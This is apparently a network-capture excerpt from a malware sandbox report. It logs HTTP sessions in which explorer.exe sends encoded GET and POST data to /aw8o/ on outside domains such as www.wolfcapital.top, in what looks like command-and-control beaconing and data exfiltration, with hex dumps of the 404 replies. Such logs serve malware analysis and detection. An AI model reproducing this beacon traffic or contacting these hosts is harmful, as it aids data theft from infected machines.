Aug 29, 2023 22:44:44.874481916 CEST	418	OUT	GET /aw8o/?5Nag0d=9zOZF6sYY9k/tdVrbXWkN8sA2agMahsOyqxI7TXZC8QU+v+BgRTEySnaHWgeO9Bnd0OQd62k8t+QBgqfLMlzOLISTcCK1ibTiw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:44:45.024257898 CEST	419	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked date: Tue, 29 Aug 2023 20:44:45 GMT server: LiteSpeed Data Raw: 32 37 38 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 Data Ascii: 2784<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-i
Aug 29, 2023 22:44:45.024331093 CEST	420	IN	Data Raw: 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 61 64 64 69 74 69 6f Data Ascii: nfo, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a {
Aug 29, 2023 22:44:45.024390936 CEST	422	IN	Data Raw: 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 Data Ascii: l; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration:
Aug 29, 2023 22:44:45.024460077 CEST	423	IN	Data Raw: 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a Data Ascii: r address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; } .status-reason { display: inline;
Aug 29, 2023 22:44:45.024516106 CEST	424	IN	Data Raw: 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f 56 6b 67 4b 58 47 6b 77 59 55 51 48 41 61 4d 2b 79 51 75 6e 42 6d 4e 53 77 62 52 56 59 68 2b 6b 4f 63 67 4d 68 76 52 44 42 31 4d 64 32 30 59 66 69 52 2b Data Ascii: a3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQ
Aug 29, 2023 22:44:45.024574041 CEST	426	IN	Data Raw: 39 35 6a 4b 2b 52 67 34 51 42 56 77 4e 6d 6c 65 50 5a 56 6a 54 78 75 6f 32 34 6b 57 4d 72 51 48 67 2f 6e 5a 7a 78 44 71 6d 71 46 52 46 43 37 39 39 2b 64 62 45 69 72 4d 6f 56 45 58 68 56 41 30 37 59 2b 47 57 4e 4d 4f 42 43 78 49 49 70 43 67 43 70 Data Ascii: 95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk5
Aug 29, 2023 22:44:45.024631977 CEST	427	IN	Data Raw: 4d 39 57 73 69 41 44 4f 30 30 41 33 51 55 30 68 6f 68 58 35 52 54 64 65 43 72 73 74 79 54 31 57 70 68 55 52 54 42 65 76 42 61 56 34 69 77 59 4a 47 47 63 74 52 44 43 31 46 73 47 61 51 33 52 74 47 46 66 4c 34 6f 73 33 34 67 36 54 2b 41 6b 41 54 38 Data Ascii: M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3
Aug 29, 2023 22:44:45.024687052 CEST	428	IN	Data Raw: 65 64 6e 65 73 64 61 79 2c 20 33 30 2d 41 75 67 2d 32 30 32 33 20 30 34 3a 34 34 3a 34 35 20 48 4b 54 22 3e 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 Data Ascii: ednesday, 30-Aug-2023 04:44:45 HKT"> WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info"> <div class="cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	50052	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:19.011450052 CEST	2401	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 69 52 73 54 58 6b 71 34 76 74 32 35 68 78 2b 51 58 68 78 47 46 6b 4e 2b 48 54 6d 38 76 7a 49 4e 71 67 76 32 37 49 50 54 47 33 69 66 33 53 77 74 49 65 58 63 57 49 52 49 31 2f 5a 79 7a 47 59 6f 59 34 43 67 4a 4c 7a 66 53 37 41 6b 48 75 34 37 61 38 65 33 6d 48 51 77 68 74 67 58 58 76 4d 6d 76 77 6f 46 68 4b 4c 6e 70 38 57 39 2b 47 41 43 42 48 7a 42 4d 58 58 46 5a 53 56 45 42 4b 49 65 59 61 4c 31 79 53 69 55 35 42 4e 58 4b 6f 4e 32 61 64 65 71 63 47 30 75 46 63 44 73 34 36 75 73 63 56 43 2f 51 3d 3d Data Ascii: 5Nag0d=4L3a1RfBkOmfriRsTXkq4vt25hx+QXhxGFkN+HTm8vzINqgv27IPTG3if3SwtIeXcWIRI1/ZyzGYoY4CgJLzfS7AkHu47a8e3mHQwhtgXXvMmvwoFhKLnp8W9+GACBHzBMXXFZSVEBKIeYaL1ySiU5BNXKoN2adeqcG0uFcDs46uscVC/Q==
Aug 29, 2023 22:50:19.106026888 CEST	2402	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:50:19 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	50053	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:21.638175011 CEST	2403	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 43 42 73 57 30 38 71 77 76 74 31 33 42 78 2b 61 33 68 74 47 46 34 4e 2b 44 4c 32 38 38 58 49 4e 4b 77 76 33 36 49 50 51 47 33 69 59 48 53 31 7a 34 65 4d 63 57 45 5a 49 77 48 5a 79 7a 69 59 71 71 77 43 70 5a 4c 73 51 79 37 44 6e 48 75 35 2f 61 38 49 33 6d 36 78 77 6b 4e 67 58 6a 66 4d 6e 73 59 6f 55 6a 69 4d 69 4a 38 63 37 2b 47 44 62 78 47 70 42 4e 71 6f 46 5a 36 76 45 7a 57 49 65 34 36 4c 30 79 53 74 42 35 42 4b 59 71 70 71 77 71 67 55 79 75 69 6b 38 46 77 36 6b 37 7a 48 68 6f 51 61 6b 4a 61 33 74 77 39 2b 53 30 36 6f 56 4e 31 55 43 34 63 47 76 52 6c 4a 31 64 71 69 77 54 39 72 59 32 77 71 4e 4c 61 51 37 73 4c 70 45 4e 47 77 50 78 66 54 44 73 71 76 51 4f 4d 4f 44 50 34 44 67 43 4f 45 30 6b 58 58 6b 39 32 61 7a 55 33 58 4f 4e 56 6d 48 61 42 79 65 4b 6f 57 70 66 69 74 71 42 68 54 59 2b 37 52 56 42 4c 37 72 39 6d 66 63 31 33 50 58 55 79 54 46 43 4e 59 75 41 6f 5a 56 34 70 33 64 43 57 43 32 30 42 34 53 54 33 42 78 4e 6d 4c 56 63 75 75 50 72 31 31 6f 44 73 69 77 69 33 35 72 52 5a 59 6b 79 69 59 42 61 71 58 6e 6b 76 45 36 51 42 66 65 59 43 30 38 53 51 4d 77 36 31 4e 68 4d 48 5a 69 42 56 57 2b 31 6d 33 32 30 58 74 72 53 53 50 4d 31 36 50 61 75 62 52 43 69 4e 30 4e 70 4f 79 48 78 30 57 4e 61 6c 79 52 6b 6f 45 70 2b 49 73 58 4b 77 47 57 50 74 42 57 74 47 64 7a 78 65 61 4f 62 57 68 73 77 49 35 73 6b 64 4a 38 68 67 33 57 34 51 6d 69 36 51 64 47 31 55 56 2f 41 41 30 36 41 77 62 55 55 70 37 73 65 76 46 71 37 39 2f 4e 38 35 49 65 55 6d 35 74 65 76 2f 42 48 4c 7a 33 66 4f 30 73 52 50 43 33 35 75 37 77 4a 30 3d Data Ascii: 5Nag0d=4L3a1RfBkOmfrCBsW08qwvt13Bx+a3htGF4N+DL288XINKwv36IPQG3iYHS1z4eMcWEZIwHZyziYqqwCpZLsQy7DnHu5/a8I3m6xwkNgXjfMnsYoUjiMiJ8c7+GDbxGpBNqoFZ6vEzWIe46L0yStB5BKYqpqwqgUyuik8Fw6k7zHhoQakJa3tw9+S06oVN1UC4cGvRlJ1dqiwT9rY2wqNLaQ7sLpENGwPxfTDsqvQOMODP4DgCOE0kXXk92azU3XONVmHaByeKoWpfitqBhTY+7RVBL7r9mfc13PXUyTFCNYuAoZV4p3dCWC20B4ST3BxNmLVcuuPr11oDsiwi35rRZYkyiYBaqXnkvE6QBfeYC08SQMw61NhMHZiBVW+1m320XtrSSPM16PaubRCiN0NpOyHx0WNalyRkoEp+IsXKwGWPtBWtGdzxeaObWhswI5skdJ8hg3W4Qmi6QdG1UV/AA06AwbUUp7sevFq79/N85IeUm5tev/BHLz3fO0sRPC35u7wJ0=
Aug 29, 2023 22:50:21.734949112 CEST	2404	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:50:21 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	50054	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:24.262764931 CEST	2417	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 43 42 73 57 30 38 71 77 76 74 31 33 42 78 2b 61 33 68 74 47 46 34 4e 2b 44 4c 32 38 38 66 49 4e 34 49 76 32 5a 67 50 52 47 33 69 62 48 53 30 7a 34 66 4f 63 57 63 6e 49 77 62 4a 79 31 6d 59 71 35 6b 43 70 72 6a 73 48 79 37 43 69 48 75 37 37 61 38 63 33 6d 48 79 77 6b 5a 61 58 54 44 4d 6d 75 41 6f 43 45 2b 4c 71 35 38 57 37 2b 47 66 66 78 47 58 42 4e 75 43 46 5a 6d 76 45 78 53 49 4d 61 79 4c 34 42 4b 74 56 35 42 4a 52 4b 70 6c 35 4b 67 74 79 75 32 4b 38 46 77 71 6b 36 33 48 68 75 63 61 6e 49 61 30 74 51 39 2b 59 55 36 72 52 4e 35 51 43 34 41 65 76 51 52 4a 31 66 71 69 78 7a 39 72 64 53 63 72 45 4c 61 4b 73 38 4c 2b 41 4e 4b 34 50 78 61 67 44 6f 36 76 51 2f 6f 4f 41 64 51 44 7a 78 57 45 7a 30 58 52 72 64 32 4e 36 30 33 4c 4f 4e 46 4d 48 5a 4a 69 65 4e 77 57 37 4f 43 74 36 7a 4a 51 66 65 36 61 4a 52 4c 75 76 39 69 44 63 31 6e 74 58 55 7a 55 46 48 31 59 70 77 34 5a 61 64 64 77 5a 53 57 42 35 55 42 68 62 7a 4c 4c 78 4e 71 44 56 64 6d 2b 50 70 5a 31 70 6a 73 69 69 56 4c 36 6a 68 5a 66 73 53 69 47 4c 36 71 36 6e 6b 6a 6d 36 53 73 39 66 6f 75 30 39 69 67 4d 6a 61 31 4f 72 4d 48 46 6f 68 56 55 36 31 6d 33 32 30 54 35 72 53 75 50 5a 58 71 50 59 65 72 52 4a 56 5a 30 50 70 50 37 48 78 30 4c 4e 61 70 42 52 6b 67 2b 70 2b 55 47 58 49 63 47 57 64 56 42 43 4a 53 65 32 42 65 44 5a 37 57 36 6f 77 4e 35 73 67 39 42 38 68 51 4e 57 4c 6b 6d 6a 36 41 64 51 46 55 55 36 67 41 75 71 67 78 44 51 55 30 71 73 61 33 37 71 36 35 52 4e 37 4e 49 66 53 4c 44 2b 2f 6a 69 63 78 66 6c 31 49 6d 35 6c 43 48 65 6e 70 65 42 72 35 43 30 66 7a 34 59 4c 33 51 78 35 35 4b 62 47 48 6c 72 36 42 78 4e 2f 55 39 43 65 73 36 4a 4a 47 61 58 4a 6b 32 56 43 77 65 72 32 44 69 36 71 64 37 39 63 74 77 53 65 79 70 36 34 38 45 58 4c 54 7a 37 54 38 31 35 6e 42 44 56 36 71 45 53 63 76 4f 39 6e 77 5a 42 54 43 62 4a 6a 4e 48 37 46 73 71 62 54 6b 59 58 77 68 56 42 55 6b 56 52 35 39 4b 52 4b 54 75 7a 59 62 6d 68 46 45 57 61 63 48 48 62 4c 4d 58 72 37 68 56 59 43 75 31 45 56 57 39 55 4a 69 76 73 2f 6a 54 4a 37 6d 73 50 72 43 33 6a 76 30 72 49 51 31 55 73 55 77 74 65 37 43 76 6b 68 4a 65 31 74 41 55 71 66 43 34 4b 47 59 58 54 2b 34 